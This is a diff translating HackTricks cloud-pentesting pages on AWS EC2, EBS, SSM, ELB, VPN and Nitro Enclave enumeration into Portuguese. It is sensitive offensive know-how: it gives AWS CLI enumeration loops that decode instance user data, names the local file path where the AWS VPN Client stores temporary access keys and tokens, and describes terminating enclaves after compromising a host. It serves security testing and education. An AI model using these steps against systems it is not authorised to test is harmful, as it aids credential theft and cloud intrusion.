aumentos de popularidade. Esse recurso diminui a necessidade de previsões precisas de tráfego. -Interesting things to enumerate in EC2: +Coisas interessantes para enumerar no EC2: -- Virtual Machines - - SSH Keys - - User Data - - Existing EC2s/AMIs/Snapshots -- Networking - - Networks - - Subnetworks - - Public IPs - - Open ports -- Integrated connections with other networks outside AWS +- Máquinas Virtuais +- Chaves SSH +- Dados do Usuário +- EC2s/AMIs/Snapshots existentes +- Rede +- Redes +- Subredes +- IPs Públicos +- Portas abertas +- Conexões integradas com outras redes fora da AWS ### Instance Profiles -Using **roles** to grant permissions to applications that run on **EC2 instances** requires a bit of extra configuration. An application running on an EC2 instance is abstracted from AWS by the virtualized operating system. Because of this extra separation, you need an additional step to assign an AWS role and its associated permissions to an EC2 instance and make them available to its applications. +Usar **funções** para conceder permissões a aplicativos que rodam em **instâncias EC2** requer um pouco de configuração extra. Um aplicativo rodando em uma instância EC2 é abstraído da AWS pelo sistema operacional virtualizado. Por causa dessa separação extra, você precisa de um passo adicional para atribuir uma função da AWS e suas permissões associadas a uma instância EC2 e torná-las disponíveis para seus aplicativos. -This extra step is the **creation of an** [_**instance profile**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) attached to the instance. The **instance profile contains the role and** can provide the role's temporary credentials to an application that runs on the instance. Those temporary credentials can then be used in the application's API calls to access resources and to limit access to only those resources that the role specifies. Note that **only one role can be assigned to an EC2 instance** at a time, and all applications on the instance share the same role and permissions. +Esse passo extra é a **criação de um** [_**perfil de instância**_](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_switch-role-ec2_instance-profiles.html) anexado à instância. O **perfil de instância contém a função e** pode fornecer as credenciais temporárias da função a um aplicativo que roda na instância. Essas credenciais temporárias podem então ser usadas nas chamadas de API do aplicativo para acessar recursos e limitar o acesso apenas aos recursos que a função especifica. Observe que **apenas uma função pode ser atribuída a uma instância EC2** por vez, e todos os aplicativos na instância compartilham a mesma função e permissões. ### Metadata Endpoint -AWS EC2 metadata is information about an Amazon Elastic Compute Cloud (EC2) instance that is available to the instance at runtime. This metadata is used to provide information about the instance, such as its instance ID, the availability zone it is running in, the IAM role associated with the instance, and the instance's hostname. +Os metadados do AWS EC2 são informações sobre uma instância do Amazon Elastic Compute Cloud (EC2) que estão disponíveis para a instância em tempo de execução. Esses metadados são usados para fornecer informações sobre a instância, como seu ID de instância, a zona de disponibilidade em que está rodando, a função IAM associada à instância e o nome do host da instância. {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} ### Enumeration - ```bash # Get EC2 instances aws ec2 describe-instances @@ -50,10 +49,10 @@ aws ec2 describe-instance-status #Get status from running instances # Get user data from each ec2 instance for instanceid in $(aws ec2 describe-instances --profile --region us-west-2 | grep -Eo '"i-[a-zA-Z0-9]+' | tr -d '"'); do - echo "Instance ID: $instanceid" - aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d - echo "" - echo "-------------------" +echo "Instance ID: $instanceid" +aws ec2 describe-instance-attribute --profile --region us-west-2 --instance-id "$instanceid" --attribute userData | jq ".UserData.Value" | tr -d '"' | base64 -d +echo "" +echo "-------------------" done # Instance profiles @@ -128,8 +127,7 @@ aws ec2 describe-route-tables aws ec2 describe-vpcs aws ec2 describe-vpc-peering-connections ``` - -### Unauthenticated Access +### Acesso Não Autenticado {{#ref}} ../../aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md @@ -137,13 +135,13 @@ aws ec2 describe-vpc-peering-connections ### Privesc -In the following page you can check how to **abuse EC2 permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do EC2 para escalar privilégios**: {{#ref}} ../../aws-privilege-escalation/aws-ec2-privesc.md {{#endref}} -### Post-Exploitation +### Pós-Exploração {{#ref}} ../../aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/ @@ -151,17 +149,17 @@ In the following page you can check how to **abuse EC2 permissions to escalate p ## EBS -Amazon **EBS** (Elastic Block Store) **snapshots** are basically static **backups** of AWS EBS volumes. In other words, they are **copies** of the **disks** attached to an **EC2** Instance at a specific point in time. EBS snapshots can be copied across regions and accounts, or even downloaded and run locally. +Amazon **EBS** (Elastic Block Store) **snapshots** são basicamente **backups** estáticos de volumes EBS da AWS. Em outras palavras, são **cópias** dos **discos** anexados a uma **instância EC2** em um ponto específico no tempo. Os snapshots do EBS podem ser copiados entre regiões e contas, ou até mesmo baixados e executados localmente. -Snapshots can contain **sensitive information** such as **source code or APi keys**, therefore, if you have the chance, it's recommended to check it. +Os snapshots podem conter **informações sensíveis** como **código-fonte ou chaves de API**, portanto, se você tiver a chance, é recomendável verificá-los. -### Difference AMI & EBS +### Diferença AMI & EBS -An **AMI** is used to **launch an EC2 instance**, while an EC2 **Snapshot** is used to **backup and recover data stored on an EBS volume**. While an EC2 Snapshot can be used to create a new AMI, it is not the same thing as an AMI, and it does not include information about the operating system, application server, or other software required to run an application. +Uma **AMI** é usada para **iniciar uma instância EC2**, enquanto um **Snapshot** EC2 é usado para **fazer backup e recuperar dados armazenados em um volume EBS**. Embora um Snapshot EC2 possa ser usado para criar uma nova AMI, não é a mesma coisa que uma AMI, e não inclui informações sobre o sistema operacional, servidor de aplicativos ou outro software necessário para executar um aplicativo. ### Privesc -In the following page you can check how to **abuse EBS permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do EBS para escalar privilégios**: {{#ref}} ../../aws-privilege-escalation/aws-ebs-privesc.md @@ -169,14 +167,13 @@ In the following page you can check how to **abuse EBS permissions to escalate p ## SSM -**Amazon Simple Systems Manager (SSM)** allows to remotely manage floats of EC2 instances to make their administrations much more easy. Each of these instances need to be running the **SSM Agent service as the service will be the one getting the actions and performing them** from the AWS API. +**Amazon Simple Systems Manager (SSM)** permite gerenciar remotamente grupos de instâncias EC2 para facilitar muito suas administrações. Cada uma dessas instâncias precisa estar executando o **serviço SSM Agent, pois o serviço será o responsável por receber as ações e executá-las** a partir da API da AWS. -**SSM Agent** makes it possible for Systems Manager to update, manage, and configure these resources. The agent **processes requests from the Systems Manager service in the AWS Cloud**, and then runs them as specified in the request. +O **SSM Agent** possibilita que o Systems Manager atualize, gerencie e configure esses recursos. O agente **processa solicitações do serviço Systems Manager na Nuvem AWS**, e então as executa conforme especificado na solicitação. -The **SSM Agent comes**[ **preinstalled in some AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) or you need to [**manually install them**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) on the instances. Also, the IAM Role used inside the instance needs to have the policy **AmazonEC2RoleforSSM** attached to be able to communicate. - -### Enumeration +O **SSM Agent vem**[ **pré-instalado em algumas AMIs**](https://docs.aws.amazon.com/systems-manager/latest/userguide/ami-preinstalled-agent.html) ou você precisa [**instalá-lo manualmente**](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-manual-agent-install.html) nas instâncias. Além disso, a função IAM usada dentro da instância precisa ter a política **AmazonEC2RoleforSSM** anexada para poder se comunicar. +### Enumeração ```bash aws ssm describe-instance-information aws ssm describe-parameters @@ -185,16 +182,13 @@ aws ssm describe-instance-patches --instance-id aws ssm describe-instance-patch-states --instance-ids aws ssm describe-instance-associations-status --instance-id ``` - -You can check in an EC2 instance if Systems Manager is runnign just by executing: - +Você pode verificar em uma instância EC2 se o Systems Manager está em execução apenas executando: ```bash ps aux | grep amazon-ssm ``` - ### Privesc -In the following page you can check how to **abuse SSM permissions to escalate privileges**: +Na página a seguir, você pode verificar como **abusar das permissões do SSM para escalar privilégios**: {{#ref}} ../../aws-privilege-escalation/aws-ssm-privesc.md @@ -202,10 +196,9 @@ In the following page you can check how to **abuse SSM permissions to escalate p ## ELB -**Elastic Load Balancing** (ELB) is a **load-balancing service for Amazon Web Services** (AWS) deployments. ELB automatically **distributes incoming application traffic** and scales resources to meet traffic demands. +**Elastic Load Balancing** (ELB) é um **serviço de balanceamento de carga para implantações da Amazon Web Services** (AWS). O ELB automaticamente **distribui o tráfego de aplicação de entrada** e escala recursos para atender às demandas de tráfego. ### Enumeration - ```bash # List internet-facing ELBs aws elb describe-load-balancers @@ -216,11 +209,9 @@ aws elbv2 describe-load-balancers aws elbv2 describe-load-balancers | jq '.LoadBalancers[].DNSName' aws elbv2 describe-listeners --load-balancer-arn ``` +## Modelos de Lançamento & Grupos de Autoescalonamento -## Launch Templates & Autoscaling Groups - -### Enumeration - +### Enumeração ```bash # Launch templates aws ec2 describe-launch-templates @@ -235,12 +226,11 @@ aws autoscaling describe-launch-configurations aws autoscaling describe-load-balancer-target-groups aws autoscaling describe-load-balancers ``` - ## Nitro -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro é um conjunto de **tecnologias inovadoras** que formam a plataforma subjacente para instâncias AWS EC2. Introduzido pela Amazon para **aumentar a segurança, desempenho e confiabilidade**, Nitro aproveita **componentes de hardware personalizados e um hipervisor leve**. Ele abstrai grande parte da funcionalidade de virtualização tradicional para hardware e software dedicados, **minimizando a superfície de ataque** e melhorando a eficiência dos recursos. Ao descarregar funções de virtualização, Nitro permite que instâncias EC2 ofereçam **desempenho quase bare-metal**, tornando-se particularmente benéfico para aplicações que consomem muitos recursos. Além disso, o Nitro Security Chip garante especificamente a **segurança do hardware e firmware**, solidificando ainda mais sua arquitetura robusta. -Get more information and how to enumerate it from: +Obtenha mais informações e como enumerá-las em: {{#ref}} aws-nitro-enum.md @@ -248,35 +238,34 @@ aws-nitro-enum.md ## VPN -A VPN allows to connect your **on-premise network (site-to-site VPN)** or the **workers laptops (Client VPN)** with a **AWS VPC** so services can accessed without needing to expose them to the internet. +Uma VPN permite conectar sua **rede local (site-to-site VPN)** ou os **laptops dos trabalhadores (Client VPN)** com uma **AWS VPC** para que os serviços possam ser acessados sem precisar expô-los à internet. -#### Basic AWS VPN Components +#### Componentes Básicos da VPN AWS 1. **Customer Gateway**: - - A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection. - - It is essentially a physical device or software application on your side of the Site-to-Site VPN connection. - - You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway. - - It serves as a reference point for setting up the VPN connection and doesn't incur additional charges. +- Um Customer Gateway é um recurso que você cria na AWS para representar seu lado de uma conexão VPN. +- É essencialmente um dispositivo físico ou aplicativo de software do seu lado da conexão Site-to-Site VPN. +- Você fornece informações de roteamento e o endereço IP público do seu dispositivo de rede (como um roteador ou um firewall) para a AWS para criar um Customer Gateway. +- Ele serve como um ponto de referência para configurar a conexão VPN e não gera cobranças adicionais. 2. **Virtual Private Gateway**: - - A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection. - - It is attached to your VPC and serves as the target for your VPN connection. - - VPG is the AWS side endpoint for the VPN connection. - - It handles the secure communication between your VPC and your on-premises network. +- Um Virtual Private Gateway (VPG) é o concentrador VPN do lado da Amazon da conexão Site-to-Site VPN. +- Ele está anexado à sua VPC e serve como o alvo para sua conexão VPN. +- O VPG é o endpoint do lado da AWS para a conexão VPN. +- Ele gerencia a comunicação segura entre sua VPC e sua rede local. 3. **Site-to-Site VPN Connection**: - - A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel. - - This type of connection requires a Customer Gateway and a Virtual Private Gateway. - - It's used for secure, stable, and consistent communication between your data center or network and your AWS environment. - - Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection. +- Uma conexão Site-to-Site VPN conecta sua rede local a uma VPC através de um túnel VPN IPsec seguro. +- Esse tipo de conexão requer um Customer Gateway e um Virtual Private Gateway. +- É usado para comunicação segura, estável e consistente entre seu data center ou rede e seu ambiente AWS. +- Normalmente usado para conexões regulares e de longo prazo e é cobrado com base na quantidade de dados transferidos pela conexão. 4. **Client VPN Endpoint**: - - A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions. - - It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network. - - It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks. - - With Client VPN, each client device uses a VPN client software to establish a secure connection. +- Um endpoint Client VPN é um recurso que você cria na AWS para habilitar e gerenciar sessões de VPN de cliente. +- É usado para permitir que dispositivos individuais (como laptops, smartphones, etc.) se conectem de forma segura aos recursos da AWS ou à sua rede local. +- Ele difere da Site-to-Site VPN na medida em que é projetado para clientes individuais, em vez de conectar redes inteiras. +- Com o Client VPN, cada dispositivo cliente usa um software cliente VPN para estabelecer uma conexão segura. -You can [**find more information about the benefits and components of AWS VPNs here**](aws-vpc-and-networking-basic-information.md#vpn). +Você pode [**encontrar mais informações sobre os benefícios e componentes das VPNs AWS aqui**](aws-vpc-and-networking-basic-information.md#vpn). ### Enumeration - ```bash # VPN endpoints ## Check used subnetwork, authentication, SGs, connected... @@ -300,31 +289,26 @@ aws ec2 describe-vpn-gateways # Get VPN site-to-site connections aws ec2 describe-vpn-connections ``` +### Enumeração Local -### Local Enumeration +**Credenciais Temporárias Locais** -**Local Temporary Credentials** +Quando o Cliente VPN da AWS é usado para se conectar a uma VPN, o usuário geralmente **faz login na AWS** para obter acesso à VPN. Em seguida, algumas **credenciais da AWS são criadas e armazenadas** localmente para estabelecer a conexão VPN. Essas credenciais são **armazenadas em** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` e contêm uma **AccessKey**, uma **SecretKey** e um **Token**. -When AWS VPN Client is used to connect to a VPN, the user will usually **login in AWS** to get access to the VPN. Then, some **AWS credentials are created and stored** locally to establish the VPN connection. These credentials are **stored in** `$HOME/.config/AWSVPNClient/TemporaryCredentials//temporary-credentials.txt` and contains an **AccessKey**, a **SecretKey** and a **Token**. +As credenciais pertencem ao usuário `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: pesquisar mais sobre as permissões dessas credenciais). -The credentials belong to the user `arn:aws:sts:::assumed-role/aws-vpn-client-metrics-analytics-access-role/CognitoIdentityCredentials` (TODO: research more about the permissions of this credentials). +**Arquivos de configuração opvn** -**opvn config files** +Se uma **conexão VPN foi estabelecida**, você deve procurar por arquivos de configuração **`.opvn`** no sistema. Além disso, um lugar onde você poderia encontrar as **configurações** é em **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** -If a **VPN connection was stablished** you should search for **`.opvn`** config files in the system. Moreover, one place where you could find the **configurations** is in **`$HOME/.config/AWSVPNClient/OpenVpnConfigs`** - -#### **Post Exploitaiton** +#### **Pós Exploração** {{#ref}} ../../aws-post-exploitation/aws-vpn-post-exploitation.md {{#endref}} -## References +## Referências - [https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html](https://docs.aws.amazon.com/batch/latest/userguide/getting-started-ec2.html) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md index 0575a17d8..ce8f74205 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/aws-nitro-enum.md @@ -2,21 +2,20 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Basic Information +## Informações Básicas -AWS Nitro is a suite of **innovative technologies** that form the underlying platform for AWS EC2 instances. Introduced by Amazon to **enhance security, performance, and reliability**, Nitro leverages custom **hardware components and a lightweight hypervisor**. It abstracts much of the traditional virtualization functionality to dedicated hardware and software, **minimizing the attack surface** and improving resource efficiency. By offloading virtualization functions, Nitro allows EC2 instances to deliver **near bare-metal performance**, making it particularly beneficial for resource-intensive applications. Additionally, the Nitro Security Chip specifically ensures the **security of the hardware and firmware**, further solidifying its robust architecture. +AWS Nitro é um conjunto de **tecnologias inovadoras** que formam a plataforma subjacente para instâncias AWS EC2. Introduzido pela Amazon para **aumentar a segurança, desempenho e confiabilidade**, Nitro aproveita **componentes de hardware personalizados e um hipervisor leve**. Ele abstrai grande parte da funcionalidade de virtualização tradicional para hardware e software dedicados, **minimizando a superfície de ataque** e melhorando a eficiência dos recursos. Ao descarregar funções de virtualização, Nitro permite que as instâncias EC2 ofereçam **desempenho quase bare-metal**, tornando-se particularmente benéfico para aplicações que consomem muitos recursos. Além disso, o Nitro Security Chip garante especificamente a **segurança do hardware e firmware**, solidificando ainda mais sua arquitetura robusta. ### Nitro Enclaves -**AWS Nitro Enclaves** provides a secure, **isolated compute environment within Amazon EC2 instances**, specifically designed for processing highly sensitive data. Leveraging the AWS Nitro System, these enclaves ensure robust **isolation and security**, ideal for **handling confidential information** such as PII or financial records. They feature a minimalist environment, significantly reducing the risk of data exposure. Additionally, Nitro Enclaves support cryptographic attestation, allowing users to verify that only authorized code is running, crucial for maintaining strict compliance and data protection standards. +**AWS Nitro Enclaves** fornece um ambiente de computação seguro e **isolado dentro das instâncias Amazon EC2**, projetado especificamente para processar dados altamente sensíveis. Aproveitando o AWS Nitro System, esses enclaves garantem **isolamento e segurança** robustos, ideais para **manipular informações confidenciais** como PII ou registros financeiros. Eles apresentam um ambiente minimalista, reduzindo significativamente o risco de exposição de dados. Além disso, Nitro Enclaves suportam atestação criptográfica, permitindo que os usuários verifiquem se apenas código autorizado está em execução, crucial para manter padrões rigorosos de conformidade e proteção de dados. > [!CAUTION] -> Nitro Enclave images are **run from inside EC2 instances** and you cannot see from the AWS web console if an EC2 instances is running images in Nitro Enclave or not. +> As imagens do Nitro Enclave são **executadas de dentro das instâncias EC2** e você não pode ver no console da web da AWS se uma instância EC2 está executando imagens no Nitro Enclave ou não. -## Nitro Enclave CLI installation - -Follow the all instructions [**from the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). However, these are the most important ones: +## Instalação do Nitro Enclave CLI +Siga todas as instruções [**da documentação**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave). No entanto, estas são as mais importantes: ```bash # Install tools sudo amazon-linux-extras install aws-nitro-enclaves-cli -y @@ -32,47 +31,39 @@ nitro-cli --version # Start and enable the Nitro Enclaves allocator service. sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service ``` - ## Nitro Enclave Images -The images that you can run in Nitro Enclave are based on docker images, so you can create your Nitro Enclave images from docker images like: - +As imagens que você pode executar no Nitro Enclave são baseadas em imagens docker, então você pode criar suas imagens Nitro Enclave a partir de imagens docker como: ```bash # You need to have the docker image accesible in your running local registry # Or indicate the full docker image URL to access the image nitro-cli build-enclave --docker-uri : --output-file nitro-img.eif ``` +Como você pode ver, as imagens do Nitro Enclave usam a extensão **`eif`** (Arquivo de Imagem do Enclave). -As you can see the Nitro Enclave images use the extension **`eif`** (Enclave Image File). - -The output will look similar to: - +A saída será semelhante a: ``` Using the locally available Docker image... Enclave Image successfully created. { - "Measurements": { - "HashAlgorithm": "Sha384 { ... }", - "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", - "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", - "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" - } +"Measurements": { +"HashAlgorithm": "Sha384 { ... }", +"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284", +"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f", +"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3" +} } ``` +### Executar uma Imagem -### Run an Image - -As per [**the documentation**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), in order to run an enclave image you need to assign it memory of **at least 4 times the size of the `eif` file**. It's possible to configure the default resources to give to it in the file - +De acordo com [**a documentação**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli#run-connect-and-terminate-the-enclave), para executar uma imagem de enclave, você precisa atribuir a ela uma memória de **pelo menos 4 vezes o tamanho do arquivo `eif`**. É possível configurar os recursos padrão a serem atribuídos a ele no arquivo. ```shell /etc/nitro_enclaves/allocator.yaml ``` - > [!CAUTION] -> Always remember that you need to **reserve some resources for the parent EC2** instance also! - -After knowing the resources to give to an image and even having modified the configuration file it's possible to run an enclave image with: +> Sempre lembre-se de que você precisa **reservar alguns recursos para a instância EC2 pai** também! +Depois de saber os recursos a serem dados a uma imagem e mesmo tendo modificado o arquivo de configuração, é possível executar uma imagem de enclave com: ```shell # Restart the service so the new default values apply sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable nitro-enclaves-allocator.service @@ -80,80 +71,72 @@ sudo systemctl start nitro-enclaves-allocator.service && sudo systemctl enable n # Indicate the CPUs and memory to give nitro-cli run-enclave --cpu-count 2 --memory 3072 --eif-path hello.eif --debug-mode --enclave-cid 16 ``` +### Enumerar Enclaves -### Enumerate Enclaves - -If you compromise and EC2 host it's possible to get a list of running enclave images with: - +Se você comprometer um host EC2, é possível obter uma lista de imagens de enclave em execução com: ```bash nitro-cli describe-enclaves ``` - -It's **not possible to get a shell** inside a running enclave image because thats the main purpose of enclave, however, if you used the parameter **`--debug-mode`**, it's possible to get the **stdout** of it with: - +Não é **possível obter um shell** dentro de uma imagem de enclave em execução porque esse é o principal propósito do enclave, no entanto, se você usar o parâmetro **`--debug-mode`**, é possível obter o **stdout** dele com: ```shell ENCLAVE_ID=$(nitro-cli describe-enclaves | jq -r ".[0].EnclaveID") nitro-cli console --enclave-id ${ENCLAVE_ID} ``` +### Terminar Enclaves -### Terminate Enclaves - -If an attacker compromise an EC2 instance by default he won't be able to get a shell inside of them, but he will be able to **terminate them** with: - +Se um atacante comprometer uma instância EC2, por padrão, ele não conseguirá obter um shell dentro delas, mas poderá **terminá-las** com: ```shell nitro-cli terminate-enclave --enclave-id ${ENCLAVE_ID} ``` - ## Vsocks -The only way to communicate with an **enclave** running image is using **vsocks**. +A única maneira de se comunicar com uma **enclave** executando imagens é usando **vsocks**. -**Virtual Socket (vsock)** is a socket family in Linux specifically designed to facilitate **communication** between virtual machines (**VMs**) and their **hypervisors**, or between VMs **themselves**. Vsock enables efficient, **bi-directional communication** without relying on the host's networking stack. This makes it possible for VMs to communicate even without network configurations, **using a 32-bit Context ID (CID) and port numbers** to identify and manage connections. The vsock API supports both stream and datagram socket types, similar to TCP and UDP, providing a versatile tool for user-level applications in virtual environments. +**Virtual Socket (vsock)** é uma família de sockets no Linux especificamente projetada para facilitar a **comunicação** entre máquinas virtuais (**VMs**) e seus **hipervisores**, ou entre as VMs **entre si**. Vsock permite uma **comunicação** eficiente e **bidirecional** sem depender da pilha de rede do host. Isso torna possível que as VMs se comuniquem mesmo sem configurações de rede, **usando um ID de Contexto de 32 bits (CID) e números de porta** para identificar e gerenciar conexões. A API vsock suporta tanto tipos de socket de stream quanto de datagrama, semelhante ao TCP e UDP, fornecendo uma ferramenta versátil para aplicações de nível de usuário em ambientes virtuais. > [!TIP] -> Therefore, an vsock address looks like this: `:` +> Portanto, um endereço vsock se parece com isso: `:` -To find **CIDs** of the enclave running images you could just execute the following cmd and thet the **`EnclaveCID`**: +Para encontrar os **CIDs** das imagens de enclave em execução, você pode simplesmente executar o seguinte comando e obter o **`EnclaveCID`**:
nitro-cli describe-enclaves
 
 [
-  {
-    "EnclaveName": "secure-channel-example",
-    "EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
-    "ProcessID": 10131,
+{
+"EnclaveName": "secure-channel-example",
+"EnclaveID": "i-0bc274f83ade02a62-enc18ef3d09c886748",
+"ProcessID": 10131,
     "EnclaveCID": 16,
     "NumberOfCPUs": 2,
-    "CPUIDs": [
-      1,
-      3
-    ],
-    "MemoryMiB": 1024,
-    "State": "RUNNING",
-    "Flags": "DEBUG_MODE",
-    "Measurements": {
-      "HashAlgorithm": "Sha384 { ... }",
-      "PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
-      "PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
-      "PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
-    }
-  }
+"CPUIDs": [
+1,
+3
+],
+"MemoryMiB": 1024,
+"State": "RUNNING",
+"Flags": "DEBUG_MODE",
+"Measurements": {
+"HashAlgorithm": "Sha384 { ... }",
+"PCR0": "e199261541a944a93129a52a8909d29435dd89e31299b59c371158fc9ab3017d9c450b0a580a487e330b4ac691943284",
+"PCR1": "bcdf05fefccaa8e55bf2c8d6dee9e79bbff31e34bf28a99aa19e6b29c37ee80b214a414b7607236edf26fcb78654e63f",
+"PCR2": "2e1fca1dbb84622ec141557dfa971b4f8ea2127031b264136a20278c43d1bba6c75fea286cd4de9f00450b6a8db0e6d3"
+}
+}
 ]
 
> [!WARNING] -> Note that from the host there isn't any way to know if a CID is exposing any port! Unless using some **vsock port scanner like** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). +> Note que a partir do host não há como saber se um CID está expondo alguma porta! A menos que use algum **scanner de porta vsock como** [**https://github.com/carlospolop/Vsock-scanner**](https://github.com/carlospolop/Vsock-scanner). ### Vsock Server/Listener -Find here a couple of examples: +Encontre aqui alguns exemplos: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/server.py)
-Simple Python Listener - +Listener Python Simples ```python #!/usr/bin/env python3 @@ -173,30 +156,26 @@ s.listen() print(f"Connection opened by cid={remote_cid} port={remote_port}") while True: - buf = conn.recv(64) - if not buf: - break +buf = conn.recv(64) +if not buf: +break - print(f"Received bytes: {buf}") +print(f"Received bytes: {buf}") ``` -
- ```bash # Using socat socat VSOCK-LISTEN:,fork EXEC:"echo Hello from server!" ``` - ### Vsock Client -Examples: +Exemplos: - [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
-Simple Python Client - +Cliente Python Simples ```python #!/usr/bin/env python3 @@ -212,64 +191,51 @@ s.connect((CID, PORT)) s.sendall(b"Hello, world!") s.close() ``` -
- ```bash # Using socat echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000 ``` - ### Vsock Proxy -The tool vsock-proxy allows to proxy a vsock proxy with another address, for example: - +A ferramenta vsock-proxy permite fazer proxy de um proxy vsock com outro endereço, por exemplo: ```bash vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml ``` - -This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`: - +Isso encaminhará a **porta local 8001 em vsock** para `ip-ranges.amazonaws.com:443` e o arquivo **`your-vsock-proxy.yaml`** pode ter este conteúdo permitindo acessar `ip-ranges.amazonaws.com:443`: ```yaml allowlist: - - { address: ip-ranges.amazonaws.com, port: 443 } +- { address: ip-ranges.amazonaws.com, port: 443 } ``` - -It's possible to see the vsock addresses (**`:`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port): - +É possível ver os endereços vsock (**`:`**) usados pelo host EC2 com (note o `3:8001`, 3 é o CID e 8001 a porta): ```bash sudo ss -l -p -n | grep v_str v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3)) ``` +## Atestação do Nitro Enclave & KMS -## Nitro Enclave Atestation & KMS +O SDK do Nitro Enclaves permite que um enclave solicite um **documento de atestação assinado criptograficamente** do **Hypervisor** Nitro, que inclui **medidas únicas** específicas para aquele enclave. Essas medidas, que incluem **hashes e registros de configuração da plataforma (PCRs)**, são usadas durante o processo de atestação para **provar a identidade do enclave** e **construir confiança com serviços externos**. O documento de atestação normalmente contém valores como PCR0, PCR1 e PCR2, que você já encontrou antes ao construir e salvar um EIF de enclave. -The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which 